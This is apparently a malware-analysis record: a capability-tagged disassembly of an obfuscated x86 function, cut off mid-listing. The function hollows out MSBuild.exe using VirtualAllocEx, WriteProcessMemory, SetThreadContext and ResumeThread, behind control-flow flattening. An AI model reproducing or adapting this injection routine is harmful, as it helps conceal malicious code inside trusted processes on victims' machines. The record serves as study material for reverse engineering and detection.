Function at 0x10003020
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x11c
mov eax, dword [0x1006a800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x124], 0x37b876a9
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
sub eax, 0x80473fad
je 0x10008b93
jmp 0x1000305c
mov eax, dword [ebp - 0x128]
sub eax, 0x807b2535
je 0x1000a698
jmp 0x10003072
mov eax, dword [ebp - 0x128]
sub eax, 0x80bdd21f
je 0x100078d1
jmp 0x10003088
mov eax, dword [ebp - 0x128]
sub eax, 0x80e2e6d5
je 0x1000b141
jmp 0x1000309e
mov eax, dword [ebp - 0x128]
sub eax, 0x81dd0cd6
je 0x100067e6
jmp 0x100030b4
mov eax, dword [ebp - 0x128]
sub eax, 0x82029c8c
je 0x10008a92
jmp 0x100030ca
mov eax, dword [ebp - 0x128]
sub eax, 0x822b503a
je 0x10008714
jmp 0x100030e0
mov eax, dword [ebp - 0x128]
sub eax, 0x825fba4e
je 0x1000b6d5
jmp 0x100030f6
mov eax, dword [ebp - 0x128]
sub eax, 0x8265d8f2
je 0x10009d94
jmp 0x1000310c
mov eax, dword [ebp - 0x128]
sub eax, 0x82738987
je 0x100087a9
jmp 0x10003122
mov eax, dword [ebp - 0x128]
sub eax, 0x827afb51
je 0x10007e6e
jmp 0x10003138
mov eax, dword [ebp - 0x128]
sub eax, 0x82e8557b
je 0x10008760
jmp 0x1000314e
mov eax, dword [ebp - 0x128]
sub eax, 0x8396e661
je 0x100078ee
jmp 0x10003164
mov eax, dword [ebp - 0x128]
sub eax, 0x84e42639
je 0x10009c5b
jmp 0x1000317a
mov eax, dword [ebp - 0x128]
sub eax, 0x8516864d
je 0x10005ea0
jmp 0x10003190
mov eax, dword [ebp - 0x128]
sub eax, 0x85845516
je 0x10008191
jmp 0x100031a6
mov eax, dword [ebp - 0x128]
sub eax, 0x858bf8a7
je 0x1000bb5c
jmp 0x100031bc
mov eax, dword [ebp - 0x128]
sub eax, 0x85bffd13
je 0x1000bad1
jmp 0x100031d2
mov eax, dword [ebp - 0x128]
sub eax, 0x85c87fb7
je 0x1000a3eb
jmp 0x100031e8
mov eax, dword [ebp - 0x128]
sub eax, 0x86b492cd
je 0x10007a4f
jmp 0x100031fe
mov eax, dword [ebp - 0x128]
sub eax, 0x87066d22
je 0x100070fa
jmp 0x10003214
mov eax, dword [ebp - 0x128]
sub eax, 0x89af0501
je 0x10007397
jmp 0x1000322a
mov eax, dword [ebp - 0x128]
sub eax, 0x89ff2b3e
je 0x1000af5a
jmp 0x10003240
mov eax, dword [ebp - 0x128]
sub eax, 0x8b418c18
je 0x10008f0a
jmp 0x10003256
mov eax, dword [ebp - 0x128]
sub eax, 0x8b6f9d0f
je 0x100071d8
jmp 0x1000326c
mov eax, dword [ebp - 0x128]
sub eax, 0x8b6fc714
je 0x10008243
jmp 0x10003282
mov eax, dword [ebp - 0x128]
sub eax, 0x8bbdd8e5
je 0x10007ebf
jmp 0x10003298
mov eax, dword [ebp - 0x128]
sub eax, 0x8bfcee6c
je 0x10008b00
jmp 0x100032ae
mov eax, dword [ebp - 0x128]
sub eax, 0x8c0dd8e9
je 0x1000af0f
jmp 0x100032c4
mov eax, dword [ebp - 0x128]
sub eax, 0x8cb5f96d
je 0x10008f5b
jmp 0x100032da
mov eax, dword [ebp - 0x128]
sub eax, 0x8ce5a268
je 0x1000a509
jmp 0x100032f0
mov eax, dword [ebp - 0x128]
sub eax, 0x8d060825
je 0x1000b150
jmp 0x10003306
mov eax, dword [ebp - 0x128]
sub eax, 0x8d58bc69
je 0x1000bbd7
jmp 0x1000331c
mov eax, dword [ebp - 0x128]
sub eax, 0x8d7f0428
je 0x1000b380
jmp 0x10003332
mov eax, dword [ebp - 0x128]
sub eax, 0x8e205eeb
je 0x10007874
jmp 0x10003348
mov eax, dword [ebp - 0x128]
sub eax, 0x8e233135
je 0x1000b8d4
jmp 0x1000335e
mov eax, dword [ebp - 0x128]
sub eax, 0x8ea1dd1d
je 0x1000882e
jmp 0x10003374
mov eax, dword [ebp - 0x128]
sub eax, 0x8ef9e22f
je 0x10007623
jmp 0x1000338a
mov eax, dword [ebp - 0x128]
sub eax, 0x8f213756
je 0x1000abf8
jmp 0x100033a0
mov eax, dword [ebp - 0x128]
sub eax, 0x8fd9c935
je 0x10007388
jmp 0x100033b6
mov eax, dword [ebp - 0x128]
sub eax, 0x90d9f86a
je 0x1000b78e
jmp 0x100033cc
mov eax, dword [ebp - 0x128]
sub eax, 0x90dcbfb1
je 0x1000af00
jmp 0x100033e2
mov eax, dword [ebp - 0x128]
sub eax, 0x91b33b03
je 0x1000b31e
jmp 0x100033f8
mov eax, dword [ebp - 0x128]
sub eax, 0x91d28516
je 0x1000989d
jmp 0x1000340e
mov eax, dword [ebp - 0x128]
sub eax, 0x924a1448
je 0x1000608e
jmp 0x10003424
mov eax, dword [ebp - 0x128]
sub eax, 0x929742f4
je 0x10006c4c
jmp 0x1000343a
mov eax, dword [ebp - 0x128]
sub eax, 0x93979f04
je 0x10008eb9
jmp 0x10003450
mov eax, dword [ebp - 0x128]
sub eax, 0x9492e41b
je 0x100060ac
jmp 0x10003466
mov eax, dword [ebp - 0x128]
sub eax, 0x94ab029e
je 0x10008995
jmp 0x1000347c
mov eax, dword [ebp - 0x128]
sub eax, 0x96b536ad
je 0x100072ce
jmp 0x10003492
mov eax, dword [ebp - 0x128]
sub eax, 0x97ee8fde
je 0x10006b32
jmp 0x100034a8
mov eax, dword [ebp - 0x128]
sub eax, 0x98572bdf
je 0x10007773
jmp 0x100034be
mov eax, dword [ebp - 0x128]
sub eax, 0x9890eed3
je 0x1000a9fd
jmp 0x100034d4
mov eax, dword [ebp - 0x128]
sub eax, 0x98ebdb5d
je 0x10007484
jmp 0x100034ea
mov eax, dword [ebp - 0x128]
sub eax, 0x9947f426
je 0x1000a04d
jmp 0x10003500
mov eax, dword [ebp - 0x128]
sub eax, 0x99fecc8a
je 0x10007456
jmp 0x10003516
mov eax, dword [ebp - 0x128]
sub eax, 0x9a7e3d81
je 0x10008b76
jmp 0x1000352c
mov eax, dword [ebp - 0x128]
sub eax, 0x9baa0931
je 0x10007221
jmp 0x10003542
mov eax, dword [ebp - 0x128]
sub eax, 0x9c419de2
je 0x10008172
jmp 0x10003558
mov eax, dword [ebp - 0x128]
sub eax, 0x9d378d98
je 0x100073e0
jmp 0x1000356e
mov eax, dword [ebp - 0x128]
sub eax, 0x9e2409d4
je 0x10007b73
jmp 0x10003584
mov eax, dword [ebp - 0x128]
sub eax, 0x9e310f9b
je 0x10005dd5
jmp 0x1000359a
mov eax, dword [ebp - 0x128]
sub eax, 0x9e4a04f4
je 0x1000796b
jmp 0x100035b0
mov eax, dword [ebp - 0x128]
sub eax, 0x9e7761a4
je 0x10009248
jmp 0x100035c6
mov eax, dword [ebp - 0x128]
sub eax, 0x9f0c01ac
je 0x10008d87
movss xmm0, dword [0x100193a0]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x124], 0x11acdd98
jmp 0x1000bf6a
movss xmm0, dword [0x10019248]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0x27697191
sub edx, 1
sub edx, 0x27697191
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb73fa2c
mov ecx, 0xa5c29b3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0xdc9ede44
jmp 0x1000bf6a
movss xmm0, dword [0x10019388]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10019384]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x124], 0xf1bba8bc
jmp 0x1000bf6a
movss xmm0, dword [0x10019368]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x124], 0xa89b14b4
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0xdc5fb65c
jmp 0x1000bf6a
mov dl, 1
mov eax, 0x1599e5d
mov ecx, 0xcf1b9250
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x38c96dde
mov ecx, 0x6bd8227
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8027b38
mov ecx, 0x9baa0931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
movss xmm0, dword [0x10019204]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10019200]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x80211200
sub edx, 1
add edx, 0x80211200
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8027b38
mov ecx, 0xfcd79cfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e233135
mov ecx, 0x24f2a8b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x89af0501
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b633417
mov ecx, 0x9d378d98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xd0e56afc
sub edx, 1
add edx, 0xd0e56afc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b633417
mov ecx, 0x99fecc8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0xbc386f78
jmp 0x1000bf6a
mov dl, 1
mov eax, 0xba406c80
mov ecx, 0xba0171e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0xde8064a2
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xe3950319
sub edx, 1
add edx, 0xe3950319
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb786036d
mov ecx, 0x11180a54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
movss xmm0, dword [0x10019320]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001931c]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x124], 0x3e10137e
jmp 0x1000bf6a
mov dl, 1
mov eax, 0x3853edc
mov ecx, 0x8396e661
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
movss xmm0, dword [0x10019314]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x124], 0xe1f66c6d
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x271e40ee
sub edx, 1
add edx, 0x271e40ee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a5e8da6
mov ecx, 0x72403ef3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x32b955b9
sub edx, 1
add edx, 0x32b955b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x570b300a
mov ecx, 0xd902c311
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1d65524
mov ecx, 0xe6bfdc3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x3507ca2
sub edx, 1
add edx, 0x3507ca2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e5c65f6
mov ecx, 0x8bbdd8e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x11cb5b08
sub edx, 1
add edx, 0x11cb5b08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e5c65f6
mov ecx, 0x5e403f4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
movss xmm0, dword [0x100192e4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x124], 0x85845516
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0xa041c003
sub edx, 1
add edx, 0xa041c003
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb11519cd
mov ecx, 0xd81a7ccd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x7100e1d7
jmp 0x1000bf6a
mov dl, 1
mov eax, 0x8ea1dd1d
mov ecx, 0xa32d5cc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x85bffd13
mov ecx, 0x82738987
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0x47a8cd21
sub edx, 1
sub edx, 0x47a8cd21
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85bffd13
mov ecx, 0xc932cb73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0x3574503e
sub edx, 1
add edx, 0x3574503e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3dde9c1a
mov ecx, 0x780789ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2116a86
mov ecx, 0xebcff5f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x202c87c6
mov ecx, 0x8bfcee6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xf185f41b
sub edx, 1
add edx, 0xf185f41b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x202c87c6
mov ecx, 0x9a7e3d81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dl, 1
mov eax, 0x22db2a36
mov ecx, 0x80473fad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
movss xmm0, dword [0x100192a4]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x100192a0]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x124], 0x9fe83db3
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0xf7b68b88
sub edx, 1
add edx, 0xf7b68b88
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd36f9e93
mov ecx, 0x8b418c18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0x326d96e
sub edx, 1
sub edx, 0x326d96e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd36f9e93
mov ecx, 0x8cb5f96d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x10603a19
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0xe3ec1298
sub edx, 1
add edx, 0xe3ec1298
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7f4efee
mov ecx, 0x336bbe59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dl, 1
mov eax, 0x112d880a
mov ecx, 0x4200277f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0xcaa61206
sub edx, 1
sub edx, 0xcaa61206
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2bc6fc79
mov ecx, 0x5a47d286
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [ebp - 0x98]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe8]
mov byte [eax], cl
mov eax, dword [ebp - 0xe4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dl, byte [eax]
mov eax, 0xb2c545ba
mov ecx, 0xdcdf9df3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf0]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xdc]
mov eax, 0xa3a9999d
mov ecx, 0xc305a0c7
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x124], 0x30002b49
jmp 0x1000bf6a
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0xd4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc4]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc4]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xf0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x124], 0x7b2504f9
jmp 0x1000bf6a
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0xb79ebd13
sub edx, 1
add edx, 0xb79ebd13
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x649a7d85
mov ecx, 0xc8c336e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x124], 0x20331199
jmp 0x1000bf6a
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x124], 0xbc54befa
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x8c0dd8e9
jmp 0x1000bf6a
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x124], 0x89ff2b3e
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0x4bbe211c
sub edx, 1
add edx, 0x4bbe211c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2f0a1ac7
mov ecx, 0xb74b35bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x8d060825
jmp 0x1000bf6a
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x124], 0x65ea6d97
jmp 0x1000bf6a
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x28]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x124], 0x8d7f0428
jmp 0x1000bf6a
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
